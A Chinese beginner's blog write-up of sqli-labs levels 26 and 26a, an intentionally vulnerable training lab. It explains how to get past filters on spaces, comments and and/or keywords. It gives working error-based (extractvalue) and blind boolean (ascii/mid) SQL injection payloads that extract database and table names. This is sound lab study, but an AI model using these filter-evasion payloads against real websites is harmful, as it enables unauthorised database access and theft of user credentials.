sqli-labs第26关,26a关

26关

刚学不久,纯粹记录一下

来到第26关发现空格,--+、#、and、or等都被过滤,最棘手的是空格被过滤,网上搜了一些,大部分作者是用%a0代替空格,但是现在%a0代替空格完全不起作用(不知道还有什么能代替空格,+、%20url编码都不起作用),所以在空格被过滤的情况下,尽量避免用到空格

判断是字符型注入还是数字型注入,因为and被过滤,采用复写方式或者用url编码%26%26代替,%26%26是&&的编码,&&作用等同于and,但是在一般的url中&&还有其它作用(网上搜的),故不能直接用&&,否则被过滤

从上面几张图发现1and1=1以及1and1=2都正确,故判断为字符型注入,那采用常见的',",)  试试

采用单引号',结果报错,发现是单引号注入,进行闭环,此处不能用注释符闭环,因为被过滤,且发现一旦出错会有信息提示,所以后面可以采用基于报错的SQL注入

进行闭环,1anandd'1'='1

得出数据库,concat中不写0x7e(~的十六进制)是不会显示后面的数据库信息

?id=1'and(extractvalue(1,concat(0x7e,database())))and'1'='1

得出表名

?id=1'and(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))))and'1'='1

此处select里面选择用group_concat(),若用concat(),则最多只能展示一行,且需用到limit 0,1此处势必用到空格,前面说了网上搜的代替空格的方法都不管用,故就此作罢

同理得出users列名以及账号密码

26a关

也是空格、--+、#、and、or等字符被过滤,同样的方法判断为字符型注入,但是本题即使你写入错误数据,也不会有报错信息,故不能采用基于报错的SQL注入,所以考虑盲注,考虑是单引号注入,发现错误,尝试闭合,结果正确

but,这里就是一个坑,让你误以为是单引号注入,呵呵,换一个数字2/3/4/5...,发现返回的账号密码还是第一个的,所以并不是单引号注入,可以分别试试)、"、')、")、))等等,这里尝试')闭合(试出来的)

结果正确,说明是')闭合

采用ascii和mid/substr对ASCII码进行比较,采用二分法快点(比如A是65,z是122,先判断database()第一个字符是否大于/小于(65+122)/2,以此类推)得到数据库为security

得到表名,方法同理,这里从上帝视角直接锁定

2')and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=101)and('1'='1

得出第一个表名为email

得出第二个表名为referers

2')and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),8,1))=114)and('1'='1

...得出第四个表名为users

2')and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),25,1))=117)and('1'='1

至于8,25等这样的位置取值,是因为group_concat得到的表名为(采用26关的图),其中referers的首字母'r'在第8个位置,'users'中的'u'在第25个位置:

以上采用盲注的方法非常繁琐,有能力的直接写python脚本运行就好(反正我目前是不行,hhhhhh)

  • 7
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值